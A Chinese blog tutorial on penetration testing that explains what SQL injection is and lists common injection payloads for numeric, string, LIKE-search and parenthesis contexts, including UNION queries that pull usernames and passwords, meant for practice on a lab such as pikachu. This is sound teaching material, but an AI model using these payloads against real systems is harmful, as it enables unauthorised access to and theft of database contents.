【渗透测试】什么是SQL注入，常见的SQL注入语句有哪些？

SQL注入原理与常见语句解析

原创于 2025-10-25 17:29:28 发布 · 590 阅读

10 ·

CC 4.0 BY-SA版权

文章标签：

#数据库 #SQL注入 #网络安全 #计算机 #web安全 #渗透测试

什么是SQL注入

SQL注入攻击漏洞的原因，是由于程序员在编写Web程序时，_没有对客户端(比如浏览器等)提交的参数进行严格的过滤和判断。用户可以修改参数或数据，并传递至服务器端，导致服务端拼接了伪造的SQL查询语句，服务端连接数据库，并将伪造的sql语句发送给数据库服务端执行，数据库将sql语句的执行结果，返回给了服务端，服务端又将结果返回给了客户端，从而获取到敏感信息，甚至执行危险的代码或_系统命令。

简单来说就是：注入产生的原因是接受相关参数未经处理直接带入数据库查询操作
查找注入点一句话简单概括就是：前端页面上所有提交数据的地方，不管是登录、注册、留言板、评论区、分页等等地方，只要是提交数据给后台，后台拿着该数据和数据库交互了，那么这个地方就可能存在注入点。

字符类型注入

xxx’ or 1=1 #

select id,email from member where username=‘=xx’ or 1=1 #’

转化成True 查询所有username

select id,email from member where username= True #’

’ 处于前面闭合状态 – # 注释得作用

select id,email form member where username = “vince”

URL编码

url编码是一种浏览器用来打包表单输入的格式。浏览器从表单中获取所有的name和其中的值，将它们以name/value参数编码（移去那些不能传送的字符，将数据排行等等）作为URL的一部分或者分离地发给服务器。不管哪种情况，在服务器端的表单输入格式样子像这样：

当 URL 路径或者查询参数中，带有中文或者特殊字符的时候，就需要对 URL 进行编码
采用ASCII十六进制编码格式）。
URL 编码的原则是使用安全字符去表示那些不安全的字符。
安全字符，值的是没有特殊用途或者特殊意义的字符。 Key=Value
Ascill编码转转化成对应得数字

工具:

小葵工具 URL编码也可以存在于在线编码格式

URL种得空格处理:

在URL中出现空格以+得方式来处理 URL get请求不能出现空格

Get UIL种不能使用#号只能使用—注释符号

联合注入查询 Union

多表联合查询不同表之间得查询:

正常语句：

select id,username from member where username=‘vince’;

构造语句：

xxx’ union select username,password from users #’
注意一点：union为联合查询，但是union后面的select__查询的字段数量，必须和union前面的select查询字段个数相同，这是union的特点。
union select 联合查询 # 关系型数据库 redis非关系型的是不能用union select的

联合注入语句：可以查任何表得数据至于表明列名称列得长度需要特别注意数量多了少了都不行这个需要尝试。

’ union select username,password from users #

select id,email from member where username=‘’ union select username,password from users #’

简单常用sql注入语句

引号测试，加了引号如果报错，证明存在注入点

单引号闭合数据：$query=“select id,email from member where username=‘vince’”; 用

单引号测试,会报错，双引号测试查不到数据，不报错

双引号闭合数据：$query=‘select id,email from member where username=“vince”’; 用

双引号测试，会报错，单引号测试查不到数据，不报错

or 1=1 一个条件为真，即为真，真的效果就是查询到表中所有数据

where id=1 and 1=1 两个条件为真才为真，查询结果和不加1=1一样，and 1=2 一个条件为假，即为

假，查询条件为假，什么数据也没有，两个结合起来可以判断是否存在注入点。

SQL注入以及数据类型分类有哪几种？

这个是面试经常问道的：

主要分为如下四类：数字型、字符型、搜索型、xx型

数字类型：

select username,id from member where id=1;

1 or 1=1;

字符型：

select id,usernamefrom member where username=‘vince or 1=1’;

select id email from member where username = ‘vince’

发现：这个语句的 vince or 1=1 是直接被认作字符串，我们在vince后面添加单引号来闭合vince，再在1=1后面添加注释#来消除掉后面的单引号。

#和–是mysql的sql语句注释符号，这样来完成一个SQL语句的拼接合法性。完整的语句为 select id,email from member where username=‘vince’ or 1=1#‘；，我们回到pikachu平台输入 vince’ or 1=1#

搜索性注入 xx形式注入

搜索性注入:

Select id,email from member where username like ‘%vin’

Select id,email from member where username like ‘vin%’

Select id,email from member where username like ‘%vin%’

select username,id,email from member where username like ‘%%’ or 1=1 #%’

注意：这里的 %’ or 1=1 #%’ 虽然单引号可以闭合但是很多时候还是需要闭合%

也就是搜索性要多注意%的闭合

%%闭合也就是为了查询到更多的数据

%xxxx%’ or 1=1 #%’

或者

xxxx%’ or 1=1 #%’

XX性注入:

select * from member where username=(‘vince’) ；

select * from member where username=(‘xx’) or 1=1;

select id,email from member where username=(‘’) or 1=1 #')

‘) or 1=1 #’)

Xx注入注意小括号的闭合状态

以上就是基本的数据类型注入数字字符搜索 xx 注入类型

最后：

大家明白什么是sql注入以及常规的sql注入语句类型了吧! 文中的pyload自行拿去用! 至于如何试验自己去用虚拟机搭建一个靶场就可以进行测试学习了，靶场有很多这个自己百度吧! 如果不会搭建靶场或者没有靶场源码的改天有空我在写一个搭建靶场的文章以及分享靶场源码吧 ~ 好了写道这里了喜欢的点个赞吧哈哈后面有空或许在这边文章上添加几个示例便于大家学习 ~ 最后就是sql注入的高阶手法还有很多，后面有空再分享一二吧 ~